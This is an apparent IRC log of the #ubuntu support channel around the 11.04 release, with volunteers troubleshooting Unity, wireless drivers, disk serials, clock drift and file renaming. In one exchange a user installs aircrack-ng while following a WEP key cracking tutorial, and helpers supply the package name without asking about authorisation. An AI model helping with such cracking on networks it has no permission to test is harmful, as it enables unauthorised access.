[13:20] <tyreza> i got a serial number of one my hard disk, which is present on one computer, i got 3 pc all 3 pc are in ubuntu, and also 3 pc are in a same network
[13:21] <Chepoll> bazhang: operation not permitted, I think I have to chattr resolv.conf , right?
[13:21] <tyreza> my question is simply how to IDENTIFY  my hard disk location ( the presence of my hard disk in which computer) from the command  line
[13:21] <bazhang> Chepoll, what did you remove to get in that state?
[13:21] <tyreza> to able to find my hard disk
[13:21] <h4x0rs> Hi all, i have a problem with internet connection since i upgraded to 10.10, ifconfig gives me only one interfece 'lo'
[13:22] <h4x0rs> Hi all, i have a problem with internet connection since i upgraded to 10.10, ifconfig gives me only one interfece 'lo'
[13:23] <Chepoll> bazhang: as in, the permission or not having connection? All I did was dpkg-reconfigure console-setup and -reconfigure keyboard-layout
[13:23] <crystal-cola> Ubuntu just crashed!! thats the new upgade
[13:23] <h4x0rs> crystal-cola: help!
[13:23] <crystal-cola> now im using classic hopefully it wont crash again
[13:23] <tyreza> is it clear now ? Pici
[13:23] <h4x0rs> Hi all, i have a problem with internet connection since i upgraded to 10.10, ifconfig gives me only one interfece 'lo'
[13:24] <crystal-cola> Idon't know anything about ifconfig sorry
[13:24] <Pici> tyreza: This should show your disk serial numbers: sudo lshw -C disk
[13:24] <Dark_Star1> DOn't upgrade a virtualised ubuntu.. Mine just died :)
[13:24] <Pici> tyreza: Much clearer, I just had to test that command on a computer that wasn't virtualized.
[13:24] <h4x0rs> Hi all, i have a problem with internet connection since i upgraded to 10.10, ifconfig gives me only one interfece 'lo'
[13:24] <Dark_Star1> Well don't upgrade from 10.10 to 11.04
[13:24] <h4x0rs> crystal-cola: ?
[13:24] <qin> tyreza: lshw (why do you need serial?)
[13:24] <Chepoll> bazhang: if I knew how I ended up like this, I would be much less frustrated. as a sidenote, this problem occured the same boot as I got prompted to update a couple of stuff and upgrade a couple of others. I don't think that's related though
[13:24] <h4x0rs> Dark_Star1: i can't upgrade because there is no internet
[13:25] <LjL> h4x0rs: don't keep repeating so often please
[13:25] <h4x0rs> LjL: ok
[13:25] <Dark_Star1> h4x0rs: It's not a virtualised ubuntu is it?
[13:25] <h4x0rs> No.
[13:25] <tyreza> but i don't want to run that command in each individual computer Pici that's why i m talking about all the 3 computer on a same network qin
[13:26] <Chepoll> bazhang: also my /etc/network/interfaces has "lo", not "eth0". I never touched that file.
[13:26] <h4x0rs> Dark_Star1: No.
[13:26] <Pici> tyreza: Unless you want to ssh into each computer, or use some sort of multi-ssh tool, there isn't a remote way of getting that information.
[13:26] <High_Priest> tyreza, ssh to each and run it
[13:26] <Bochum> is there a way to move the top-bar at the bottom?
[13:27] <tyreza> i don't want to ssh to each one
[13:27] <coz_> Bochum,  in Unity,, I dont think so,, it is not  a gnome-panel  under unity
[13:27] <qin> tyreza: Em? list of ip to ssh with exec with lshw with some knowledge of bash (why do you need serial?)
[13:27] <h4x0rs> Hi all, i have a problem with internet connection since i upgraded to 10.10, ifconfig gives me only one interfece 'lo'
[13:27] <Dazzled1> my login screen shows fine on dual monitors, but when  I enter my name and pass, the left screen seems to have trouble to render
[13:28] <Dazzled1> but when I click something/touch a key, the anomaly dissappears
[13:28] <tyreza> just wanna discover that functionality
[13:28] <tyreza> fi that possible
[13:28] <nes_> god i hate 11.04 lyout
[13:28] <nes_> layout*
[13:28] <qin> tyreza: you can skip one coz it would be ilogical, so you needto ssh only to two (or one if you use one locally)
[13:29] <coz_> Dazzled1,  if you are using 11.04  I can verify  that it has some video issues on dual monitors...
[13:29] <Dark_Star1> h4x0rs: I'm in the middle of something myself.. Give me a few mins and I'll get back to you
[13:29] <Dazzled1> coz_: ah ok, yeah I'm on Natty
[13:29] <coz_> Dazzled1,  rather 11.04  Unity
[13:29] <h4x0rs> Dark_Star1: ok, thanks.
[13:29] <Dazzled1> coz_: yeah, I'm still trying to get used to it :)
[13:30] <nes_> the bar on the left is pants <,<
[13:30] <tyreza> then how nagios get information without sshing to any computer  ? Pici qin High_Priest
[13:30] <Chepoll> Dark_star1: his problem and mine seem similar too. My internet connection too went all of a suddent and my /etc/network/interfaces too enables "lo" only.
[13:30] <High_Priest> tyreza, snmp
[13:31] <tyreza> so it is possible ?
[13:31] <Pici> tyreza: snmp is less likely to be installed and configured than ssh.
[13:32] <coz_> Dazzled1,  at this point  Unity  on dual monitors ,, especially if you are enabling dual monitors after boot,, has issues,, there is quite a bit of video  garble in that situation,, so I am not surprise it does this while you boot to dual set up
[13:32] <tyreza> i don't have any experience with snmp
[13:33] <elb0w> ugh unity
[13:33] <elb0w> makes me sad
[13:33] <High_Priest> tyreza, which is exactly why you should listen to our advice and go with ssh, you'll get it done in 2 mins
[13:33] <coz_> Dazzled1,  I believe  it is related to  nux   which is an open-source java toolkit which was necessary , in part , for helping compiz to work on Unity
[13:33] <Dazzled1> coz_: ah, I see
[13:34] <coz_> Dazzled1,  nux allows for " and efficient  XML pricessing"  unquote :)
[13:34] <tyreza> i know that method don't worry High_Priest , but it is not what i m looking for
[13:34] <coz_> Dazzled1,   rather  "an efficient"
[13:34] <coz_> processing
[13:34] <High_Priest> tyreza, then explain exactly what you are looking for and what you are trying to achieve and someone might actually help
[13:34] <tyreza> so if i understand correctly, if nagios is present on all 3 compter what  i have to do to find my disk ?
[13:35] <High_Priest> tyreza, snmp doesn't have anything to do with that
[13:35] <tyreza> from the command line ?
[13:35] <charlene> exit
[13:35] <tyreza> how to check if snmp is present on my computer or not ?
[13:36] <tomekh> hi. anyone here also have problem with thunar starting (first run) for about 10 seconds? (ubuntu 11.04)
[13:36] <coz_> Dazzled1,  I simply switched to classic gnome  ,,, much easier to deal with dual set ups..
[13:36] <coz_> tomekh,   sorry ,, I dont use xfce
[13:37] <Dazzled1> coz_: yeah, think I might consider switching back as well
[13:37] <tomekh> coz_: currently this problem also occurs with nautilus.
[13:38] <coz_> Dazzled1,  well  you dont have to swtich to a previous version...simply log off  and log onto classic :)
[13:38] <f21> hallo
[13:38] <Dazzled1> coz_: ah, yeah, that's what I meant :p
[13:38] <coz_> tomaw,  oh!  i didnt see that problem,, how does it show itself?
[13:39] <Chepoll> h4x0rs: are you still here?
[13:39] <coz_> Dazzled1,  ph phew!  I thought you were going to downgrade :)
[13:39] <syockit> elb0w, oh poor dear, what's wrong? Why don't you try unity-2d instead?
[13:40] <elb0w> syockit, it broke one of our systems that runs 3 monitors
[13:40] <elb0w> had to roll back to 10.10
[13:40] <coz_> tomekh,   that was meant for you    how does it show itself in nautilus?
[13:40] <elb0w> and its by far not a developer desktop
[13:40] <elb0w> Also the "classic" version just through errors
[13:40] <syockit> elb0w, ah I see so it doesn't play nice with multi-heads?
[13:40] <tyreza> how to check if snmp is present on my computer or not ? High_Priest
[13:41] <Dr_Willis> !info snmp
[13:41] <ubottu> snmp (source: net-snmp): SNMP (Simple Network Management Protocol) applications. In component main, is optional. Version 5.4.3~dfsg-2ubuntu1 (natty), package size 153 kB, installed size 568 kB
[13:41] <Pici> tyreza: snmpd would need to be running on all the computers you want to query.
[13:41] <maxagaz> the new ubuntu sucks! Impossible to change/reset properly the desktop effects, even the Prt Screen key doesn't work anymore! I'm really fucked up
[13:41] <f21> haha
[13:41] <Pici> maxagaz: Please mind your language.
[13:41] <AndroiDoughBoy> I am trying to get my windows partition mounted in Ubuntu, but I can not find it in /dev. I installed using the Wubi installer in Windows 7. What am I missing?
[13:42] <maxagaz> Pici, yes, sorry
[13:42] <Dr_Willis> http://www.webupd8.org/2011/04/how-to-reset-unity-launcher-icons-or.html
[13:42] <Dr_Willis> and reset other settings..
[13:42] <maxagaz> Dr_Willis, I don't want unity, it's not convenient
[13:42] <coz_> AndroiDoughBoy,   I cant help with this issue,, I have never used wubi  ,, I am sure others here can help
[13:42] <Dazzled1> maxagaz: PrntScrn works fine here
[13:42] <maxagaz> Dr_Willis, I use the normal gnome
[13:43] <Dazzled1> the only feeling I have about Unity atm is that it's form over function
[13:43] <maxagaz> Dazzled1, why not for me then after my update then ?
[13:43] <Dr_Willis> maxagaz:   so state the actual tech support issue.
[13:43] <JohnFlux> After upgrading to 11.04, I find that the kernel crashes about once a day
[13:43] <JohnFlux> is this a known problem?
[13:43] <mediacenter> so slight problem, ndiswrapper shows that the driver for my 2wire wiress adapter is all there and present, yet no wlan0 starts up.... iwconfig shows no wireless connections and im lost, any help please?
[13:44] <fi8er1> Cannot change functionality of Super-Key
[13:44] <coz_> JohnFlux,   I have said this many times... the one consistent thing with upgrading one version to the next, is that it is consistently inconsistent,,, If you can,, I suggest a clean install after backing up any important documents  etc
[13:44] <maxagaz> I'm so unhappy of this new version
[13:45] <Dr_Willis> fi8er1:  change it to what? You check at -> http://askubuntu.com/search?q=change+super+key ?
[13:45] <JohnFlux> coz_: who on earth reinstalls from fresh every 6 months?
[13:46] <JohnFlux> coz_: seems like a huge waste of time
[13:46] <Dr_Willis> JohnFlux:  takes me all of perhaps 40 min.
[13:46] <Dr_Willis> But since my main hobby is doing support here. I like to try things out from 'default' settings for the releases also.
[13:47] <coz_> JohnFlux,   yeah  I agree,, however,,  I still advocate  clean installs,,, but yeah  many people rely on upgrades,,, the issue becomes troubleshooting  after that.
[13:47] <tyreza> yes it is present snmpd , Pici
[13:47] <AndroiDoughBoy> Does anyone know where my windows partition would be mounted in Ubuntu when installed through Wubi?
[13:47] <Dr_Willis> AndroiDoughBoy:  I think wubi auto mounts it somewhere. Ive seen that asked befor. but i cant rember where exactly
[13:47] <JohnFlux> coz_: I've also noticed that my wireless connection is much weaker.  I don't know if it's related to the crashes
[13:47] <Oins> How can I start a program twice from the unity panel? If a program already runs and i klick it again at the unity panel, the window come to foreground. But I like to get a new, second window.
[13:48] <yassine> im unable to set the env variable in ubuntu for grails / i tried setting the path in .bashrc, .bash_profile and .profile  resources each time but the command grails i still unknown anything am i missing ??
[13:48] <Dr_Willis> AndroiDoughBoy:  try /host/
[13:48] <zniavre> Oins,  middle clic
[13:48] <coz_> JohnFlux,   I understand and i dont think you are alone with this ,, but I dont have a reason or solution for it ...sorry
[13:48] <marcelC> Ciao a tutti! I need to install some packages, and they are not in the defalut repros, I would like to enable some new official repros, like backports, canonical partners, is this safe? Maybey I will need to upgrade in the future to the next ubuntu release and I don't wish to run into troubles
[13:48] <Pici> tyreza: Actually using it is not something I remember off the top of my head.  You'll need to do some research yourself in order to determine what MIBs you need to query.
[13:48] <Dr_Willis> Oins:  http://www.omgubuntu.co.uk/2011/04/become-a-natty-power-user-in-no-time-using-this-unit-keyboard-shortcuts-wallpaper/
[13:48] <Dr_Willis> learn all the shortcuts :)
[13:48] <Oins> zniavre: ah nice, thank you!
[13:49] <coz_> marcelC,   I enable all repositories   and so far no issues
[13:49] <Oins> Dr_Willis: thanks
[13:49] <JohnFlux> coz_: thanks for replying
[13:49] <maxagaz> how to change/reset the desktop effect
[13:49] <maxagaz> ?
[13:49] <AndroiDoughBoy> Dr_Willis Thanks.  Thats it.  Never would have thought to look there.
[13:49] <maxagaz> on the normal gnome environment ?
[13:49] <maxagaz> is there a command line for that ?
[13:49] <coz_> JohnFlux,  no problem... hope you can resolve this without a clean install
[13:49] <Dr_Willis> Oins:  also found -> http://theravingrick.blogspot.com/2011/04/my-effort-at-writing-help-for-unity.html
[13:49] <maxagaz> for this application
[13:49] <Dr_Willis> maxagaz:  you mean reset compiz settings back to default? or restart compiz/metacity?
[13:50] <ramshot> I don't suppose there's any way to get the search functionality (super-key) from unity into "ubuntu classic"? :)
[13:50] <ramshot> Loved it, but had too many problems with Unity otherwise
[13:50] <maxagaz> Dr_Willis, reset compiz settings back to default
[13:50] <Dr_Willis> maxagaz:  tghat url i gave mentions the command -> gconftool-2 --recursive-unset /apps/compiz-1
[13:51] <coz_> ramshot,   you mean for application search or file search?
[13:51] <Dr_Willis> maxagaz:  it might need 'compiz' instead of compiz-1 for the classic desktop
[13:51] <ramshot> coz_: Well, it seemed to search both, but either would be better than none :)
[13:52] <maxagaz> Dr_Willis, that's to disable all effect or set it to default ?
[13:52] <coz_> ramshot,   well in classic,, you can go to  system / preferences / keyboard shortcuts and look for "Search"  and put in a keybinding you like ,, this is bring up the file search dialog
[13:52] <Dr_Willis> maxagaz:  site says -->  To reset all the Compiz settings (this includes all the plugins settings, etc.) to the default values, ..... at -->  http://www.webupd8.org/2011/04/how-to-reset-unity-launcher-icons-or.html
[13:52] <mattdev> I keep getting the "Fully charged" status through upower (and so gnome-power-manager) even thoug an upower --dump shows that the battery is not fully charged in numbers. Is there a way to fix is?
[13:53] <coz_> ramshot,  it is also available under the Places menu   "Search for files "
[13:54] <Oins> Dr_Willis: this helps me a lot. Thank you !
[13:55] <ramshot> coz_: Yeah, but it's not instant / as well designed as the unity one, but guess I'll have to settle, thanks :)
[13:55] <coz_> ramshot,  understood,,
[13:55] <i_is_broke> how do you get rid of the side bar in naty?
[13:55] <coz_> i_is_broke,  open ccsm   click on the Unity plugin  set it to autohide
[13:55] <wirabumi> hi all, can tutorial, install gnome3 on lucid :)
[13:56] <i_is_broke> coz_, ty
[13:56] <syockit> no lsb modules available! wait what? how did I get my distro name again? wasn't it lsb_release?
[13:56] <insanity99> hey guys, i am liking ubuntu 11.04 right now, but i dont like that i cant see what programs i have open, like normally on the bottom all your programs are there
[13:56] <Daekdroom> lsb_release -a I think
[13:56] <syockit> wirabumi, selamat pagi!
[13:56] <coz_> syockit,   lsb_release -a
[13:57] <syockit> coz_, thanks. Oh, it doesn't display the codename
[13:57] <coz_> syockit,   oh!  just tried it
[13:57] <Jeff_> Hello
[13:57] <gogoboy> hi
[13:57] <ubuntu_> hhello there
[13:57] <wirabumi> pagi
[13:57] <wirabumi> pagi, syckit
[13:57] <wirabumi> hi
[13:57] <REK> Since I didnt get a answer on the forum can anyone help me with this http://ubuntuforums.org/showthread.php?t=1748893
[13:57] <gogoboy> where r u come from
[13:58] <Daekdroom> REK, describe your problem in here.
[13:58] <coz_> syockit,  ok did you install    lsb-release  ....yes?
[13:58] <Dr_Willis> Oins:  yea  they really need some links/docs/guides on the desktop fior unity. its just off-putting how differnt it is
[13:58] <ubuntu_> im from mars
[13:58] <REK> Daekdroom: Already done it on thread
[13:58] <Dr_Willis> REK:  theres the askubuntu web site also now a days yioumay want to try
[13:58] <gogoboy> r u et?
[13:58] <Pici> !ot | gogoboy
[13:58] <ubottu> gogoboy: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[13:58] <REK> Daekdroom: Guys whenever I leave my PC idle for 20-30mins the screen turns off and the power light flickers but it doesn't turn on no matter what . I always have to hard restart when that happens . And on restart I see what ever work was left to be done on the desktop like UPDATES or DOWNLOADS had been working well just the display was giving problems .
[13:58] <gogoboy> hi
[13:59] <gogoboy> hi guys
[13:59] <coz_> here is a small tweak guide for unity    http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html
[13:59] <Oins> Dr_Willis: yes, but after a few days of using it, i don't wanna miss the new, nice features :)
[13:59] <REK> Dr_Willis: Is it helpful cause Ubuntu forum never has turned helpful towards my problems the IRC at least has helped me sort out problems
[13:59] <gogoboy> chat on msn?
[13:59] <gogoboy> manwei119@hotmail.com  chat on msn
[14:00] <Dr_Willis> REK:  would depend on the problem i imagine.
[14:00] <jalvarado> #adempiere
[14:00] <Jeff_Mosawy> I need some help. Anyone?
[14:00] <coz_> Jeff_Mosawy,  well what is the issue?
[14:00] <Daekdroom> !ask | Jeff_Mosawy
[14:00] <ubottu> Jeff_Mosawy: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[14:00] <Dr_Willis> REK:  sounds like some power saveing issue. is all i can say. I tend to disable all that stuff and just turn off the monitor if im leaving for the day
[14:00] <ali_> After trying allday to get the wireless going,i have installed lots of drivers.the last one is functioning.my question is that do i have to keep installing this driver at every reboot?
[14:00] <REK> Dr_Willis: Guys whenever I leave my PC idle for 20-30mins the screen turns off and the power light flickers but it doesn't turn on no matter what . I always have to hard restart when that happens . And on restart I see what ever work was left to be done on the desktop like UPDATES or DOWNLOADS had been working well just the display was giving problems .
[14:01] <REK> this is the problem
[14:01] <REK> and i have disabled all power saving
[14:01] <Jeff_Mosawy> I have a Dell laptop 1545. My wireless doesn't work. How can I solve the problem, please ?
[14:01] <Dr_Willis> REK:  alternatively - you could try sshing in and see whats going on. perhaps restart the GDM service.
[14:01] <coz_> REK,   did you open screensaver  and untick the boxes,, bottom one first
[14:01] <REK> coz_: can you tell me exactly where your talking about then I might be able to check
[14:02] <coz_> REK,  gnome-screensaver-properties
[14:02] <Jeff_Mosawy> Anyone can tell me how can I solve my wireless problem ?
[14:03] <REK> coz_: says command not found
[14:03] <coz_> REK,  ?  mm let me check here hold on
[14:03] <ali_> Jeff_Mosawy: if you have broadcom,u need drivers for it
[14:04] <coz_> REK,    gnome-screensaver-preferences
[14:04] <Jeff_Mosawy> Ali, which driver should I install for 1545 Dell Laptop ?
[14:04] <Guest6242> čučoriťka
[14:05] <REK> coz_:  now what do i do .. just check for power saving stuffs?
[14:05] <ali_> Jeff_Mosawy:what type of card do you have?is it broadcom bcm?
[14:05] <Guest6242> !sk | Guest6242
[14:05] <ubottu> Guest6242, please see my private message
[14:05] <Jeff_Mosawy> Ali: Yes, I think so.
[14:06] <coz_> REK,   there should be 2 tick boxes,, untick the bottom one first then the top   that will prevent ,,, I believe ,, what you described
[14:06] <REK> coz_: its already disabled ... the box is not available for tick ot untick
[14:06] <REK> or*
[14:06] <coz_> REK,  ooo... mm then I am puzzled sorry
[14:07] <REK> coz_:  thanks anyway :)
[14:07] <ubuntu_> why in ubuntu dropped  shell on f1-6?
[14:07] <ali_> Jeff_Mosawy:system>administration>additional drivers
[14:07] <amr_> i want gnome
[14:07] <coz_> REK,   ok,, just ask again,, someone else most likely has had expreience with this issue
[14:07] <amr_> i want download gnome
[14:08] <ali_> Jeff_Mosawy: plus b43 and fwcutter
[14:08] <Jeff_Mosawy> Ali_: I'll can install my wireless device there? Are you sure?
[14:09] <ali_> Jeff_Mosawy: do this and let uss know if u still have a problem
[14:09] <marcelC> I can't find a packages [ sudo apt-get install aircrack / Reading package lists... Done / [...]E: Unable to locate package aircrack
[14:09] <marcelC> this one is not in the official package tree?
[14:09] <bindi> marcelC: do you mean aircrack-ng?
[14:09] <marcelC> yes, for wireless
[14:10] <Pici> marcelC: Use apt-cache search aircrack   to search for packages before making assumptions.
[14:10] <bindi> marcelC: well use that then instead
[14:10] <marcelC> i am looking at this tutorial but it is a little bit old http://www.askstudent.com/hacking/how-to-crack-a-wep-key-using-ubuntu/
[14:10] <Jeff_Mosawy> OK. By the way, should I be connected to the internet for install this driver? Because I'm on Windows right now and I don't have internet in Ubuntu because my wireless doesn't work.
[14:11] <marcelC> it's working
[14:13] <PatrickC_Pre2> if I'm gonna dual-boot, how much HDD space should I have??
[14:13] <marcelC> is any difference between linux-headers-2.6.38-8-generic 2.6.38-8.42 and linux-headers-2.6.38-8 2.6.38-8.42 ?
[14:14] <mediacenter> ok, so while attempting to install my 2wire wifi adapter, ndiswrapper shows that the driver is install properly yet i do not see a wlan0, also in lsmod is shows that ndiswrapper is not being used, I need some help figuring out this wifi dilemma please
[14:14] <ali_> Jeff_Mosawy: you need internet.try to connect with eth0 first
[14:14] <REK> Daekdroom: Guys whenever I leave my PC idle for 20-30mins the screen turns off and the power light flickers but it doesn't turn on no matter what . I always have to hard restart when that happens . And on restart I see what ever work was left to be done on the desktop like UPDATES or DOWNLOADS had been working well just the display was giving problems .
[14:15] <REK> can you help me mate?
[14:15] <newubuntu> hey anyone here running a wubi-installed copy of ubuntu???
[14:15] <PatrickC_Pre2> how much space do I need if I'm going to dual-boot?
[14:15] <Halzen> PatrickC_Pre2: Ubuntu can run comfortably with only about 10GB of space.
[14:15] <dfgas> updated to 11.04 and now my screen is all messed up. besides /etc/X11/xorg.conf is there any other settings i can delete?
[14:16] <PatrickC_Pre2> what about 6GB?
[14:16] <jrib> newubuntu: best to just ask the channel your actual question (on a single line)
[14:16] <PatrickC_Pre2> its an old laptop
[14:16] <dfgas> so it will auto setup my screen again?
[14:16] <vooze> newubuntu, just ask your question about it
[14:16] <Halzen> REK: I would try a kernel update. Here's a guide to installing Liquorix kernels: http://www.webupd8.org/2011/03/how-to-install-liquorix-kernel-in.html
[14:16] <PatrickC_Pre2> only has a 15GB Hdd to start
[14:16] <mediacenter> according to the ubuntu wifi docs it says if there is no wlan0 then the problem persists with the driver not working properly, I am following the ubuntu unleashed wiki
[14:16] <Halzen> PatrickC_Pre2: With such limited space, I would limit it to one installation.
[14:16] <PatrickC_Pre2> thanks Halzen
[14:16] <REK> Halzen: Thanks I was looking for a kernel update only
[14:17] <newubuntu> ok, i run a XP and linux dual boot...NEITHER XP NOR UBUNTU CAN KEEP TRACK OF TIME NOW...THE CLOCK SHOWS INCORRECT TIME ALWAYS!!!
[14:17] <Halzen> PatrickC_Pre2: Luckily, 2.5" hard drives are virtually universal and very affordable.
[14:17] <ubuntu_> on ubuntu because have dropped F1-F6 ahell?
[14:17] <jrib> newubuntu: if you fix the time, when is it incorrect again?
[14:17] <mosez> knows somebody a good way to manipulate the nameserver list when i connect a vpn with network manager?
[14:17] <Halzen> newubuntu: That's a motherboard issue. Try updating your motherboard firmware, or even a BIOS update might be needed.
[14:17] <PatrickC_Pre2> Halzen: it has 128MB RAM, I'm gonna get a new laptop before I upgrade this one :)
[14:17] <mediacenter> newubuntu, no need for all caps, even with frustration, possible if they still have it your c2032 battery on the motherboard is dead, replace, reset in bios, and see if fixed
[14:17] <newubuntu> @jrib: after rebooting of course
[14:18] <jrib> newubuntu: replace the cmos battery?
[14:18] <Halzen> PatrickC_Pre2: I hear you. I see some great options pop onto Craigslist almost every day.
[14:18] <PatrickC_Pre2> ok, thanks for the suggestion!
[14:18] <mosez> scenario: no vpn connected, use first 127.0.0.1 ns, if it doesnt know the record use the one from dhcp. if vpn is connected try first 127.0.0.1 and if that doesnt find a record try out the one defined by vpn
[14:18] <akshay_> rocket16
[14:18] <akshay_> hello rocket16
[14:18] <sabri_icone> bonjour a tous
[14:18] <PatrickC_Pre2> bye all, thanks for the help!
[14:19] <newubuntu> u mean its a battery problem?
[14:19] <sabri_icone> qui as une idée sur la LPIC
[14:19] <ronr_> how can I check how many cpus and memory I have using shell?
[14:19] <sabri_icone> LPIC 1
[14:19] <mediacenter> newubuntu what jrib said
[14:19] <sabri_icone> des cours ou des exemples d'exame
[14:19] <sabri_icone> :p
[14:19] <sabri_icone> allo
[14:19] <sabri_icone> alors
[14:19] <sabri_icone> personnes n'a  une idée sur la LPIC
[14:19] <DJones> !fr | sabri_icone
[14:19] <ubottu> sabri_icone: Ce canal est en anglais uniquement. Si vous avez besoin d'aide ou voulez discuter en francais, merci de rejoindre #ubuntu-fr, ou #ubuntu-qc. Merci.
[14:19] <mediacenter> hmmm, idea, brb
[14:20] <sabri_icone> sorry
[14:20] <Halzen> ronr_: I think gnome-system-monitor will still work in Gnome 3.
[14:20] <sabri_icone> ;) hello all ubunteros
[14:20] <ronr_> Halzen: in terminal?
[14:20] <Halzen> ronr_: My Gnome 3 install didn't last long on my machine, so I can't check for you.
[14:20] <sabri_icone> if someone has some idea about LPIC help me
[14:20] <Halzen> ronr_: That or alt-F2.
[14:20] <sabri_icone> i want some document or blank exam if possible
[14:20] <maxb> mosez: I wish there was a nice way to do it. I've ended up building myself a fairly complex shell script: http://paste.ubuntu.com/603267/
[14:21] <newubuntu> i strongly doubt dat this is a CMOS battery issue guys...coz the problem has arised only after installing ubuntu using Wubi
[14:21] <compdoc> The Linux Professional Institute Certification ?
[14:21] <sabri_icone> ,o one has an idea about LPIC ?
[14:21] <sabri_icone> yeah, compdoc
[14:21] <jrib> newubuntu: well replace the battery and rule it out
[14:21] <compdoc> never heard of it
[14:21] <jpds> sabri_icone: Yeas.
[14:21] <sabri_icone> jpds:
[14:21] <Halzen> newubuntu: Wubi won't mess with your motherboard or BIOS. Check the battery and try a motherboard firmware update.
[14:21] <sabri_icone> can you help me ? to get some information
[14:22] <ronr_> Halzen: it's a server, yes? only got ssh to it.
[14:22] <sabri_icone> i planify to pass this month , i need some alumni exam
[14:22] <newubuntu> yeah? so why is this problem resolved if i uninstall ubuntu and run ONLY windows?
[14:22] <insanity99> hey guys, is there a way to have the bottom bar on 11.04 so i can see my open programs?
[14:22] <sabri_icone> also , course's really great to know what i will pass
[14:22] <sagaci> insanity99, run Classic Gnome
[14:22] <sabri_icone> it seem no one is interesting to LPI certification !
[14:23] <sagaci> sabri_icone, #ubuntu-offtopic
[14:23] <mosez> maxb: thx for that, got to take a look at it... i hoped that i'm not the first who needs that and that there are already solutions i cant find
[14:23] <sabri_icone> sagaci: mais cé du topic ?
[14:23] <sabri_icone> :p
[14:23] <Halzen> sabri_icone: I'd head over to the Linux Foundation. They're the leaders in Linux certification, and will be of more help to you than a distro support chat.
[14:23] <DaveAG> We're currently running 10.04 LTS with Evolution 2.28.3 to connect to an Exchange 2003 system via the OWA based exchange connector. I've been unable to find any means of connecting, either MAPI or OWA, to Exchange 2010 which we will be migrating to this summer. I know IMAP will work but am looking for a solution that would get calendaring in as well. Davmail looks possible, but I'd rather not have an extra service to support just to bridge Exchange to
[14:23] <insanity99> i'd rather uity, but be able to see my open programs
[14:23] <sabri_icone> sagaci: its not ? an ubuntu_ topicN
[14:23] <LjL> sabri_icone: ce salon est seulement pour problemes techniques avec Ubuntu, #ubuntu-offtopic pour autres choses
[14:24] <dob1> hi, i have sun java installed on 11.04,  why if i want to install groovy too ubuntu wants to install openjdk ?
[14:24] <newubuntu> help anyone?
[14:24] <sabri_icone> LjL: thaks
[14:24] <dob1> i want to use groovy with sun jdk
[14:25] <Halzen> DaveAG: Evolution historically doesn't get along with certain Exchange functions. I'd try Thunderbird.
[14:25] <jrib> !who | newubuntu
[14:25] <ubottu> newubuntu: As you can see, this is a large channel. If you're speaking to someone in particular, please put their nickname in what you say (use !tab), or else messages get lost and it becomes confusing :)
[14:25] <Jeff_Mosawy> Ali_: Hi again. I did what you said but unfortunately I couldn't get the driver. Becuase it need an internet and I don't have.
[14:25] <sabri_icone> hello all
[14:25] <jrib> newubuntu: does the issue present itself if you boot windows, shutdown, boot windows again?
[14:25] <ubuntu_> on ubuntu because have dropped F1-F6 ahell?
[14:26] <newubuntu> !ubotto thanks i didnt know this
[14:26] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[14:26] <sabri_icone> can someone help me to take some doc about LPI certification
[14:26] <sabri_icone> or some alumni exam
[14:26] <DaveAG> Halzen: This is for integrated groupware, not just email. I didn't thing Thunderbird had any way of tying into the GAL and calendars does it?
[14:26] <syockit> ubuntu_, alt-F1 to alt-F6
[14:26] <newubuntu> !jrib wanna help?
[14:26] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[14:26] <syockit> ubuntu_, wait maybe it was ctrl-alt
[14:26] <jrib> newubuntu: I'm trying to.  But can only do so if you answer questions
[14:27] <coz_> ctrl+F1  etc
[14:27] <coz_> ctrl+alt+F1
[14:27] <syockit> ubuntu_, from X, ctrl-alt. from tty, just alt
[14:27] <coz_> etc  I believe
[14:27] <fredrik__> so, just installed 11.04 and trying to understand unity. I installed wine and a windows application. How can I threw unity find this app? Wine nore the windows program shows up when I search for apps witch super-key
[14:27] <syockit> newubuntu, don't prefix ! when mentioning nickname
[14:28] <Halzen> DaveAG: Any chance this will help? http://gitorious.org/lightning-exchange-provider/pages/Home
[14:28] <newubuntu> jrib: sry ur last wues got lost in the group...and no there is no problem when i boot windows, shut down, and boot windows again
[14:28] <ronr_> Halzen: doesn't seem to have gnome installed.
[14:29] <milen8204> How can I do CPU temperature monitoring
[14:29] <DaveAG> Halzen: Cheers, that definitely looks worth a try
[14:29] <jrib> newubuntu: make linux use local time: https://help.ubuntu.com/community/UbuntuTime#Make%20Linux%20use%20%27Local%27%20time
[14:29] <Halzen> ronr_: You have Gnome Shell but not Gnome? I must've missed something.
[14:29] <OneSquared> Hello, I need help. I would rename file (637-texte.png --> 637.png) but how ?
[14:29] <syockit> Did someone mention witch? Witches shall be lynched
[14:29] <ubuntu_> syockit, i know that because isnt there the shell? i see nothing..
[14:29] <newubuntu> jrib: tx, checking ur link out...
[14:29] <Halzen> OneSquared: Gnome can do that. Right-click and Rename.
[14:30] <Yulya> hello guys
[14:30] <llutz> OneSquared: rename 's/-texte//' *.png
[14:30] <milen8204> OneSquared, i a terminal ?
[14:30] <Yulya> i have some trouble with 10.04
[14:30] <Halzen> Hello, Yulya.
[14:30] <milen8204> OneSquared, mv 637-texte.png  637.png
[14:30] <OneSquared> Halzen, There are a lot of file :/ about 248.
[14:30] <llutz> mv 637-texte.png 637.png
[14:30] <Yulya> i make backup with tar, unpack it, install grub
[14:30] <syockit> ubuntu_ no login at all? just blank? but you have X (GNOME/KDE/etc)?
[14:30] <ronr_> Halzen: I have a Gnome shell? when did I say I have a Gnome shell? :)
[14:30] <Yulya> fix fstab http://paste2.org/p/1398614
[14:30] <Halzen> OneSquared: Open up the folder in Nautilus and Ctrl-F.
[14:31] <Yulya> on first boot i got http://touhou.ru/upload/6a12b415e03838b3682c25ea0fc379a8.png
[14:31] <Yulya> and nothing happen
[14:31] <Halzen> ronr_: My bad, you said shell and I jumped to Gnome Shell for some reason.
[14:31] <kevinyoung_> hi all
[14:31] <amr_> howto install Gnome 3
[14:31] <ronr_> Halzen: no idea what kind of shell :)
[14:32] <Halzen> ronr_: Try these in terminal for your CPU and RAM: "free -m" and "cat /proc/cpuinfo"
[14:32] <OneSquared> There are a lot of file : 637-texte.png, 6898-look.png, 875458-nick.png, etc..... so I would a dynamic command or script for rename all file.
